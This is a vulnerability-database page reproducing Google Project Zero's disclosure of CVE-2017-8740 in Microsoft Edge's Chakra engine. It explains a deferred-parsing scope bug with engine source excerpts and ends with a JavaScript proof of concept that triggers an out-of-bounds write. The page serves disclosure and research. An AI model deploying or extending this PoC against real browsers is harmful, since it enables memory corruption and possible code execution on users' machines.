Lucene search
+L

Microsoft Edge Chakra - Deferred Parsing Makes Wrong Scopes Exploit

🗓️ 21 Sep 2017 00:00:00Reported by Google Security ResearchType 
zdt
 zdt
🔗 0day.today👁 59 Views

Microsoft Edge Chakra - Deferred Parsing Wrong Scope Exploi

Related
Code
ReporterTitlePublishedViews
Family
bdu_fstec
BDU FSTEC
Microsoft Edge Memory Execution Code
17 Oct 201700:00
–bdu_fstec
circl
Circl
CVE-2017-8740
21 Sep 201700:00
–circl
cnvd
CNVD
Microsoft Edge Memory Corruption Vulnerability (CNVD-2017-28318)
13 Sep 201700:00
–cnvd
cve
CVE
CVE-2017-8740
13 Sep 201701:00
–cve
cvelist
Cvelist
CVE-2017-8740
13 Sep 201701:00
–cvelist
exploitdb
Exploit DB
Microsoft Edge Chakra - Deferred Parsing Makes Wrong Scopes
21 Sep 201700:00
–exploitdb
mskb
Microsoft KB
September 12, 2017—KB4038788 (OS Build 15063.608)
12 Sep 201707:00
–mskb
kaspersky
Kaspersky
KLA11098 Multiple vulnerabilities in Microsoft Edge and Microsoft Internet Explorer
12 Sep 201700:00
–kaspersky
mend
Mend
CVE-2017-8740
13 Sep 201701:00
–mend
mscve
Microsoft CVE
Scripting Engine Memory Corruption Vulnerability
12 Sep 201707:00
–mscve
Rows per page
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1310
 
(function f(a = (function () {
    print(a);
    with ({});
})()) {
    function g() {
        f;
    }
})();
 
When Chakra executes the above code, it doesn't generate bytecode for "g". This is a feature called "DeferParse". The problem is that the bytecode generated for "f" when the feature is enabled is different to the bytecode generated when the feature is disabled. This is because of "ByteCodeGenerator::ProcessScopeWithCapturedSym" which changes the function expression scope's type is not called when the feature is enabled.
 
Here's a snippet of the method which emits an incorrect opcode.
void ByteCodeGenerator::LoadAllConstants(FuncInfo *funcInfo)
{
    ...
    if (funcExprWithName)
    {
        if (funcInfo->GetFuncExprNameReference() ||
            (funcInfo->funcExprScope && funcInfo->funcExprScope->GetIsObject()))
        {
            ...
            Js::RegSlot ldFuncExprDst = sym->GetLocation();
            this->m_writer.Reg1(Js::OpCode::LdFuncExpr, ldFuncExprDst);
 
            if (sym->IsInSlot(funcInfo))
            {
                Js::RegSlot scopeLocation;
                AnalysisAssert(funcInfo->funcExprScope);
 
                if (funcInfo->funcExprScope->GetIsObject())
                {
                    scopeLocation = funcInfo->funcExprScope->GetLocation();
                    this->m_writer.Property(Js::OpCode::StFuncExpr, sym->GetLocation(), scopeLocation,
                        funcInfo->FindOrAddReferencedPropertyId(sym->GetPosition()));
                }
                else if (funcInfo->bodyScope->GetIsObject())
                {
                    this->m_writer.ElementU(Js::OpCode::StLocalFuncExpr, sym->GetLocation(),
                        funcInfo->FindOrAddReferencedPropertyId(sym->GetPosition()));
                }
                else
                {
                    Assert(sym->HasScopeSlot());
                    this->m_writer.SlotI1(Js::OpCode::StLocalSlot, sym->GetLocation(),
                                          sym->GetScopeSlot() + Js::ScopeSlots::FirstSlotIndex);
                }
            }
            ...
        }
    }
    ...
}
 
As you can see, it only handles "funcExprScope->GetIsObject()" or "bodyScope->GetIsObject()" but not "paramScope->GetIsObject()".
Without the feature, there's no case that only "paramScope->GetIsObject()" returns true because "ByteCodeGenerator::ProcessScopeWithCapturedSym" for "f" is always called and makes "funcInfo->funcExprScope->GetIsObject()" return true.
But with the feature, the method is not called. So it ends up emitting an incorrect opcode "Js::OpCode::StLocalSlot".
 
The feature is enabled in Edge by default.
 
PoC:
-->
 
let h = function f(a0 = (function () {
    a0;
    a1;
    a2;
    a3;
    a4;
    a5;
    a6;
    a7 = 0x99999;  // oob write
 
    with ({});
})(), a1, a2, a3, a4, a5, a6, a7) {
    function g() {
        f;
    }
};
 
for (let i = 0; i < 0x10000; i++) {
    h();
}

#  0day.today [2018-04-01]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation